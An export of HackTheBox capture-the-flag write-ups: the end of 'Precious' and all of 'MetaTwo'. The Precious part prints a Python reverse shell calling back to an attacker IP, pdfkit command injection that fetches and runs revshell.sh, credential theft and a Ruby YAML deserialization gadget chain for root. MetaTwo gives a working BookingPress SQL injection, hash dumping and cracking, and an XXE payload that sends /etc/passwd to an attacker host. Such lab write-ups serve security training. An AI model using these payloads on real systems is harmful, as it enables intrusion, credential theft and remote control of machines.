HTTP GET request, it really works! I can try to put a reverse shell and see what happens http://10.10.14.49/?name=#{'%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.49\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")'`'} Bingo! Now I’m the ruby user Method 2 https://github.com/advisories/GHSA-rhwx-hjx2-x4qr Package Affected versions Patched versions pdfkit (RubyGems) < 0.8.7.2 0.8.7.2 exploit: https://github.com/pdfkit/pdfkit/issues/517 → it’s all URL encoded, thus breaking bash commands http://10.10.14.49:8000/?home=$HOME Directory listing for /?home=/home/ruby http://10.10.14.49:8000/?whoami=$(whoami) Directory listing for /?whoami=ruby http://10.10.14.49:8000/?ls=$(ls) Directory listing for /?ls=app config config.ru Gemfile Gemfile.lock pdf public http://10.10.14.49:8000/?pwd=$(pwd) Directory listing for /?pwd=/var/www/pdfapp spaces are URL encoded and it doesn’t understand bash command, I try to bypass the problem by not using space character https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions#bypass-forbidden-spaces http://10.10.14.49:8000/?passwd=$(cat$IFS/etc/passwd) Directory listing for /?passwd= root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin wwwdata:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemdnetwork:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemdresolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin sshd:x:104:65534::/run/sshd:/usr/sbin/nologin henry:x:1000:1000:henry,,,:/home/henry:/bin/bash systemdtimesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin systemdcoredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin ruby:x:1001:1001::/home/ruby:/bin/bash _laurel:x:997:997::/var/log/laurel:/bin/false http://10.10.14.49:8000/?ls=$(ls$IFS-al$IFS$HOME) Directory listing for /?ls= total 848 drwxr-xr-x 6 ruby ruby 4096 Dec 2 10:56 . drwxr-xr-x 4 root root 4096 Oct 26 08:28 .. lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null -rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout -rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle drwxr-xr-x 4 ruby ruby 4096 Dec 2 10:27 .cache drwx------ 3 ruby ruby 4096 Dec 2 10:44 .gnupg drwxr-xr-x 3 ruby ruby 4096 Dec 2 10:56 .local -rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile I can’t open a connection with netcat: IP=10.10.14.49;PORT=4444;nc$IFS$IP$IFS$PORT I would have used it to write to file: FILE=revshell.sh;IP=10.10.14.49;PORT=4444;nc$IFS$IP$IFS$PORT|tee$IFS$FILE at least the ping works so there are no firewall rules: IP=10.10.14.49;ping$IFS-c1$IFS$IP Directory listing for /?ping= PING 10.10.14.49 (10.10.14.49) 56(84) bytes of data. 64 bytes from 10.10.14.49: icmp_seq=1 ttl=63 time=36.7 ms --- 10.10.14.49 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 36.731/36.731/36.731/0.000 ms cat$IFS/var/www/pdfapp/app/controllers/pdf.rb class PdfControllers < Sinatra::Base configure do set :views, \"app/views\" set :public_dir, \"public\" end get '/' do erb :'index' end post '/' do url = ERB.new(params[:url]).result(binding) if url =~ /^https?:\\/\\//i filename = Array.new(32){rand(36).to_s(36)}.join + '.pdf' path = 'pdf/' + filename begin PDFKit.new(url).to_file(path) cmd = `exiftool -overwrite_original -all= -creator=\"Generated by pdfkit v0.8.6\" -xmptoolkit= #{path}` send_file path, :disposition => 'attachment' rescue @msg = 'Cannot load remote URL!' end else @msg = 'You should provide a valid URL!' end erb :'index' end end there are no special checks, it just runs PDFKit I try to download a reverse shell: FILE=revshell.sh;IP=10.10.14.49;PORT=8000;curl$IFS-o$IFS$HOME/$FILE$IFS$IP:$PORT/$FILE the reverse shell has been successfully downloaded: http://10.10.14.49:8000/?ls=$(ls$IFS$HOME) Directory listing for /?ls= revshell.sh I run the reverse shell: FILE=revshell.sh;bash$IFS$HOME/$FILE Bingo! Now I’m the ruby user Privesc user I run the script: linpeas.sh ╔══════════╣ Unexpected in /opt (usually empty) total 16 drwxr-xr-x 3 root root 4096 Oct 26 08:28 . drwxr-xr-x 18 root root 4096 Nov 21 15:11 .. drwxr-xr-x 2 root root 4096 Oct 26 08:28 sample -rwxr-xr-x 1 root root 848 Sep 25 11:02 update_dependencies.rb ╔══════════╣ Searching root files in home dirs (limit 30) /home/henry/user.txt /home/henry/.bash_history /home/ruby/.bundle /home/ruby/.bundle/config /home/ruby/.bash_history /var/www /var/www/html /var/www/html/index.nginx-debian.html /var/www/pdfapp /var/www/pdfapp/public /var/www/pdfapp/public/images /var/www/pdfapp/public/stylesheets /var/www/pdfapp/public/stylesheets/style.css /var/www/pdfapp/config.ru /var/www/pdfapp/config /var/www/pdfapp/config/environment.rb /var/www/pdfapp/Gemfile /var/www/pdfapp/pdf /var/www/pdfapp/app /var/www/pdfapp/app/views /var/www/pdfapp/app/views/index.erb /var/www/pdfapp/app/controllers /var/www/pdfapp/app/controllers/pdf.rb /var/www/pdfapp/Gemfile.lock cat /home/ruby/.bundle/config BUNDLE_HTTPS://RUBYGEMS__ORG/: \"henry:Q3c1AqGHtoI0aXAYFH\" https://manpages.ubuntu.com/manpages/bionic/man1/bundle-config.1.html https://michaelcurrin.github.io/dev-cheatsheets/cheatsheets/package-managers/ruby/bundler/config.html could be anything, maybe the user’s password? sshpass -p 'Q3c1AqGHtoI0aXAYFH' ssh henry@precious.htb → bingo! Privesc root sudo -l Matching Defaults entries for henry on precious: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User henry may run the following commands on precious: (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb so I can run sudo /opt/update_dependencies.rb with credentials: Q3c1AqGHtoI0aXAYFH cat /opt/update_dependencies.rb # Compare installed dependencies with those specified in \"dependencies.yml\" require \"yaml\" require 'rubygems' # TODO: update versions automatically def update_gems() end def list_from_file YAML.load(File.read(\"dependencies.yml\")) end def list_local_gems Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]} end gems_file = list_from_file gems_local = list_local_gems gems_file.each do |file_name, file_version| gems_local.each do |local_name, local_version| if(file_name == local_name) if(file_version != local_version) puts \"Installed version differs from the one specified in file: \" + local_name else puts \"Installed version is equals to the one specified in file: \" + local_name end end end end cat /opt/sample/dependencies.yml yaml: 0.1.1 pdfkit: 0.8.6 I can’t see what root does with pspy64: https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/ /etc/fstab proc /proc proc defaults,nosuid,nodev,noexec,relatime,hidepid=2 0 0 gem list | grep -E \"yaml|pdfkit\" yaml (default: 0.1.0) pdfkit (0.8.6) a difference compared to the sample file is highlighted: yaml: 0.1.1 yaml (default: 0.1.0) https://www.ruby-lang.org/en/news/2014/03/29/heap-overflow-in-yaml-uri-escape-parsing-cve-2014-2525/ ruby -rpsych -e 'p Psych.libyaml_version' [0, 2, 2] the version looks different but moreover it doesn’t use psych in the script https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/ https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml https://www.elttam.com/blog/ruby-deserialization/: RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: \"abc\" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: id method_id: :resolve uid=0(root) gid=0(root) groups=0(root) " },{ "title": "MetaTwo writeup", "tags": ["Writeups","HackTheBox","CTF","WordPress-5.6.2","CVE-2022-0739","SQL-Injection","CVE-2021-29447","XXE","Passpie","PGP-Decryption"], "date": "December 7, 2022", "meta": "0xhacks group", "author": "0xhacks group", "content": "INDEX Enumeration SQL Injection Explotation Password Cracking 1 XXE Privesc Password Cracking 2Enumeration nmap -p- 10.10.11.186 Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-28 19:24 CET Nmap scan report for metatwo (10.10.11.186) Host is up (0.057s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 25.52 seconds nmap -p21 -A -sCV 10.10.11.186 Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-28 19:26 CET Nmap scan report for metatwo (10.10.11.186) Host is up (0.056s latency). PORT STATE SERVICE VERSION 21/tcp open ftp | fingerprint-strings: | GenericLines: | 220 ProFTPD Server (Debian) [::ffff:10.10.11.186] | Invalid command: try being more creative |_ Invalid command: try being more creative 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port21-TCP:V=7.92%I=7%D=11/28%Time=6384FD46%P=x86_64-pc-linux-gnu%r(Gen SF:ericLines,8F,\"220\\x20ProFTPD\\x20Server\\x20\\(Debian\\)\\x20\\[::ffff:10\\.10 SF:\\.11\\.186\\]\\r\\n500\\x20Invalid\\x20command:\\x20try\\x20being\\x20more\\x20cr SF:eative\\r\\n500\\x20Invalid\\x20command:\\x20try\\x20being\\x20more\\x20creativ SF:e\\r\\n\"); Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 68.95 seconds There don’t seem to be any known vulnerabilities I try to connect: ftp 10.10.11.186 Connected to 10.10.11.186. 220 ProFTPD Server (Debian) [::ffff:10.10.11.186] Name (10.10.11.186:chry): anonymous 331 Password required for anonymous Password: 530 Login incorrect. ftp: Login failed ftp> ftp> exit 221 Goodbye. The anonymous login seems not working After finding nothing in the FTP service I look at the website content nmap -p80 -A -sCV 10.10.11.186 Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-28 19:33 CET Nmap scan report for metatwo (10.10.11.186) Host is up (0.053s latency). PORT STATE SERVICE VERSION 80/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 |_http-title: Did not follow redirect to http://metapress.htb/ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.42 seconds I need to follow the redirect to http://metapress.htb/ but first I must add it to /etc/hosts file I notice that the web server is nginx 1.18.0 Website content: Welcome on board! This site will be launched soon. In the meanwhile you can signup to our launch event. Be sure to do it from here: http://metapress.htb/events/ nmap -p80 -A -sCV metapress.htb Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-28 19:34 CET Nmap scan report for metapress.htb (10.10.11.186) Host is up (0.053s latency). rDNS record for 10.10.11.186: metatwo PORT STATE SERVICE VERSION 80/tcp open http nginx 1.18.0 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-robots.txt: 1 disallowed entry |_/wp-admin/ |_http-trane-info: Problem with XML parsing of /evox/about |_http-server-header: nginx/1.18.0 |_http-generator: WordPress 5.6.2 |_http-title: MetaPress &#8211; Official company site Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.71 seconds WordPress 5.6.2 is the CMS present on the site I scan the wordpress installation with: wpscan --url http://metapress.htb/ --random-user-agent --enumerate vp --plugins-detection aggressive --api-token <i cannot show it man> [i] Plugin(s) Identified: [+] bookingpress-appointment-booking | Location: http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/ | Last Updated: 2022-11-21T13:57:00.000Z | Readme: http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt | [!] The version is out of date, the latest version is 1.0.48 | | Found By: Known Locations (Aggressive Detection) | - http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/, status: 200 | | [!] 1 vulnerability identified: | | [!] Title: BookingPress < 1.0.11 - Unauthenticated SQL Injection | Fixed in: 1.0.11 | References: | - https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0739 | - https://plugins.trac.wordpress.org/changeset/2684789 | | Version: 1.0.10 (100% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt | Confirmed By: Translation File (Aggressive Detection) | - http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/languages/bookingpress-appointment-booking-en_US.po, Match: 'sion: BookingPress Appointment Booking v1.0.10' [+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 3 | Requests Remaining: 72 [+] Finished: Mon Nov 28 19:41:11 2022 [+] Requests Done: 5042 [+] Cached Requests: 9 [+] Data Sent: 1.561 MB [+] Data Received: 21.308 MB [+] Memory used: 217.125 MB [+] Elapsed time: 00:02:06 Looking at the vulnerability I notice that I can run the following command: curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' But unfortunately, it will return the following error in the output {\"variant\":\"error\",\"title\":\"Error\",\"msg\":\"Sorry, Your request can not process due to security reason.\"} On http://metapress.htb/events I found, in the source code, the wpnonce value: var postData = { action:'bookingpress_before_book_appointment', appointment_data: vm.appointment_step_form_data,_wpnonce:'8c57e8f795' }; This will allow me to bypass the security check and perform the SQLI attack SQL Injection Exploitation curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=8c57e8f795&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' [ { \"bookingpress_service_id\":\"10.5.15-MariaDB-0+deb11u1\", \"bookingpress_category_id\":\"Debian 11\", \"bookingpress_service_name\":\"debian-linux-gnu\", \"bookingpress_service_price\":\"$1.00\", \"bookingpress_service_duration_val\":\"2\", \"bookingpress_service_duration_unit\":\"3\", \"bookingpress_service_description\":\"4\", \"bookingpress_service_position\":\"5\", \"bookingpress_servicedate_created\":\"6\", \"service_price_without_currency\":1, \"img_url\":\"http:\\/\\/metapress.htb\\/wp-content\\/plugins\\/bookingpress-appointment-booking\\/images\\/placeholder-img.jpg\" } ] I note that the DBMS is MariaDB 10.5.15 and the operating system Debian 11 I start the effective enumeration with SQLMap First of all I have to retrieve an HTTP request to be used by the tool. To do that I just need to run the previous curl command with the --proxy http://127.0.0.1:8080 parameter and listen the request with BurpSuite proxy On the request I also have to remove all the possible query traces, because it will be automatically made by the tool POST /wp-admin/admin-ajax.php HTTP/1.1 Host: metapress.htb User-Agent: curl/7.84.0 Accept: */* Content-Length: 185 Content-Type: application/x-www-form-urlencoded Connection: close action=bookingpress_front_get_category_services&_wpnonce=8c57e8f795&category_id=33&total_service=0 Ok, I save it in a txt file and I can start First of all I see which databases are there: sqlmap -r request.txt --batch --dbs available databases [2]: [*] blog [*] information_schema Now I check all the tables present in the blog database: sqlmap -r request.txt --batch -D blog --tables [27 tables] +--------------------------------------+ | wp_bookingpress_appointment_bookings | | wp_bookingpress_categories | | wp_bookingpress_customers | | wp_bookingpress_customers_meta | | wp_bookingpress_customize_settings | | wp_bookingpress_debug_payment_log | | wp_bookingpress_default_daysoff | | wp_bookingpress_default_workhours | | wp_bookingpress_entries | | wp_bookingpress_form_fields | | wp_bookingpress_notifications | | wp_bookingpress_payment_logs | | wp_bookingpress_services | | wp_bookingpress_servicesmeta | | wp_bookingpress_settings | | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +--------------------------------------+ Now I enumerate the wp_users columns: sqlmap -r request.txt --batch -D blog -T wp_users --columns [10 columns] +---------------------+---------------------+ | Column | Type | +---------------------+---------------------+ | display_name | varchar(250) | | ID | bigint(20) unsigned | | user_activation_key | varchar(255) | | user_email | varchar(100) | | user_login | varchar(60) | | user_nicename | varchar(50) | | user_pass | varchar(255) | | user_registered | datetime | | user_status | int(11) | | user_url | varchar(100) | +---------------------+---------------------+ Now I retrieve the user_pass and user_login columns of all the rows present: sqlmap -r request.txt --batch -D blog -T wp_users -C user_pass, user_login --dump [2 entries] +--------------+------------------------------------+ | display_name | user_pass | +--------------+------------------------------------+ | manager | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | | admin | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | +--------------+------------------------------------+ Password Cracking 1 hashid '$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.' [+] Wordpress ≥ v2.6.2 [+] Joomla ≥ v2.5.18 [+] PHPass' Portable Hash Now I check which Hash-Mode it matches: hashcat --example-hashes 400 phpass, WordPress (MD5), Joomla (MD5) Example: $P$984478476IagS59wHZvyQMArzfx58u. I crack it then: hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar Session..........: hashcat Status...........: Cracked Hash.Mode........: 400 (phpass) Hash.Target......: $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 Time.Started.....: Thu Dec 1 10:26:38 2022 (1 min, 20 secs) Time.Estimated...: Thu Dec 1 10:27:58 2022 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 1389 H/s (11.44ms) @ Accel:256 Loops:128 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 110592/14344385 (0.77%) Rejected.........: 0/110592 (0.00%) Restore.Point....: 109568/14344385 (0.76%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:8064-8192 Candidate.Engine.: Device Generator Candidates.#1....: taena -> music69 Hardware.Mon.#1..: Util: 90% Started: Thu Dec 1 10:26:35 2022 Stopped: Thu Dec 1 10:28:00 2022 Now I can use this password to log-in in the WordPress admin panel as manager user XXE After logged in the pannel I start to search if there is any note vulnerability as authenticated user for WordPress 5.6.2 I found this https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/ First of all I have to create two files for the exploitation payload.wav echo -en 'RIFF\\xb8\\x00\\x00\\x00WAVEiXML\\x7b\\x00\\x00\\x00<?xml version=\"1.0\"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '\"'\"'http://10.10.14.6:4321/evil.dtd'\"'\"'>%remote;%init;%trick;]>\\x00' > payload.wav evil.dtd <!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource=/etc/passwd\"> <!ENTITY % init \"<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.6:4321/?p=%file;'>\"> Now I have to open a php server to receive the result of the XXE as a GET response: php -S 0.0.0.0:4321 Perfect, now I upload the payload.wav file to the site at the following url: http://metapress.htb/wp-admin/upload.php I decode the answer in base64 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin sshd:x:104:65534::/run/sshd:/usr/sbin/nologin jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin I particularly notice the user jnelson, so I try to get his private key (/home/jnelson/.ssh/id_rsa) to enter the box with ssh Unfortunately the file seems to be inexistent (I do not receive any GET response encoded in base64) I look at its config files to derive the WordPress root path /etc/nginx/sites-enabled/default server { listen 80; listen [::]:80; root /var/www/metapress.htb/blog; index index.php index.html; if ($http_host != \"metapress.htb\") { rewrite ^ http://metapress.htb/; } location / { try_files $uri $uri/ /index.php?$args; } location ~ \\.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php/php8.0-fpm.sock; } location ~* \\.(js|css|png|jpg|jpeg|gif|ico|svg)$ { expires max; log_not_found off; } } I can find the root path of the website Now I just have to look at the juiciest WordPress configuration file /var/www/metapress.htb/blog/wp-config.php <?php /** The name of the database for WordPress */ define( 'DB_NAME', 'blog' ); /** MySQL database username */ define( 'DB_USER', 'blog' ); /** MySQL database password */ define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' ); /** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); define( 'FS_METHOD', 'ftpext' ); define( 'FTP_USER', 'metapress.htb' ); define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' ); define( 'FTP_HOST', 'ftp.metapress.htb' ); define( 'FTP_BASE', 'blog/' ); define( 'FTP_SSL', false ); I try the FTP credentials on the machine and bingo! Now that I can see the contents of the FTP server, I download all the files present with the command: wget -r --user=\"metapress.htb\" --password=\"9NYS_ii@FyL_p5M2NvJ\" ftp://ftp.metapress.htb/ In the blog folder there seems to be exactly the website I have already seen In the mailer folder there is the PHPMailer plugin and the send_email.php file <?php /* * This script will be used to send an email to all our users when ready for launch */ use PHPMailer\\PHPMailer\\PHPMailer; use PHPMailer\\PHPMailer\\SMTP; use PHPMailer\\PHPMailer\\Exception; require 'PHPMailer/src/Exception.php'; require 'PHPMailer/src/PHPMailer.php'; require 'PHPMailer/src/SMTP.php'; $mail = new PHPMailer(true); $mail->SMTPDebug = 3; $mail->isSMTP(); $mail->Host = \"mail.metapress.htb\"; $mail->SMTPAuth = true; $mail->Username = \"jnelson@metapress.htb\"; $mail->Password = \"Cb4_JmWM8zUZWMu@Ys\"; $mail->SMTPSecure = \"tls\"; $mail->Port = 587; $mail->From = \"jnelson@metapress.htb\"; $mail->FromName = \"James Nelson\"; $mail->addAddress(\"info@metapress.htb\"); $mail->isHTML(true); $mail->Subject = \"Startup\"; $mail->Body = \"<i>We just started our new blog metapress.htb!</i>\"; try { $mail->send(); echo \"Message has been sent successfully\"; } catch (Exception $e) { echo \"Mailer Error: \" . $mail->ErrorInfo; } I got the credentials for jnelson Privesc I use linpeas.sh and find this weird folder /home/jnelson/.passpie/ssh root.pass comment: '' fullname: root@ssh login: root modified: 2022-06-26 08:58:15.621572 name: ssh password: '-----BEGIN PGP MESSAGE----- hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2 nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED /2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr lpF0RatbxQGWBks5F3o= =uh1B -----END PGP MESSAGE----- ' jnelson.pass comment: '' fullname: jnelson@ssh login: jnelson modified: 2022-06-26 08:58:15.514422 name: ssh password: '-----BEGIN PGP MESSAGE----- hQEOA6I+wl+LXYMaEAP/eA8Bw+/AcAvm5g0QFotFRzmToYPSoUr13XcUSSmuEi0c 4zObpYX4PvSjB6YdhIIxu/cJNZV+WbUuTU0HZTPs49i8qe1xK+g4YRELqhSo6oig ZuvQptZzB8LmG8zRVB6c1aO/1SoiRvzfGmgrdaHhtyGA2rtdTZU66MIzZ+irVhED /Agw0T3BdpJ15yuNSmyfpf14PeE5r/dWBc6l4/VO6ZZzWyX8SysNxcFDSHChpXsm 7OR9hpt9HEVZiHq87qNwSYqiNeA9p7uzKV37HQpik3zQvtudc8Ho7IUdU1a5ZCWj EmrNsSI0aEBKbJ47ZoX4jfwnjRO5QrDzNf1G9vkbzb2V0k0BtHWiok49YVRmLB63 GFD/CGo7s1dia+0PP6BNMo0dllqI72/8rGQcM0BFOqzhzKZ3/iNNKoJUiEHzIvMW 7ome0qtZhiFs+5J3I2U1HA== =91YS -----END PGP MESSAGE----- ' /usr/local/bin/passpie it’s a software that I don’t know so I search on the Internet and find https://pypi.org/project/passpie/1.6.1/ passpie is a password manager who uses a passphrase for decrypt the credentials. The password files are encrypted using GNUPG and they are saved in yaml text file, just like the found ones! jnelson@meta2:~/.passpie/ssh$ which paspie jnelson@meta2:~/.passpie/ssh$ passpie ╒════════╤═════════╤════════════╤═══════════╕ │ Name │ Login │ Password │ Comment │ ╞════════╪═════════╪════════════╪═══════════╡ │ ssh │ jnelson │ ******** │ │ ├────────┼─────────┼────────────┼───────────┤ │ ssh │ root │ ******** │ │ ╘════════╧═════════╧════════════╧═══════════╛ the key pair is saved in here: /home/jnelson/.passpie/.keys -----BEGIN PGP PUBLIC KEY BLOCK----- mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1 AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD /GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho 3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX 5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG WIVdy+jynHb81B3FIHT832OVi2hTCT6vhfTILFklLMxvirM6AaEPFhxIuRboiEQw 8lQMVtA1l+Et9FXS1u91h5ZL5PoCfhqpjbFD/VcC5I2MhwL7n50ozVxkW2wGAPfh cODmYrGiXf8dle3z9wg9ltx25XLsVjoR+VLm5Vji85konRVuZ7TKnL5oXVgdaTML qIGqKLQfhHwTdvtYOTtcxW3tIdI16YhezeoUioBWY1QM5z84F92UVz6aRzSDbc/j 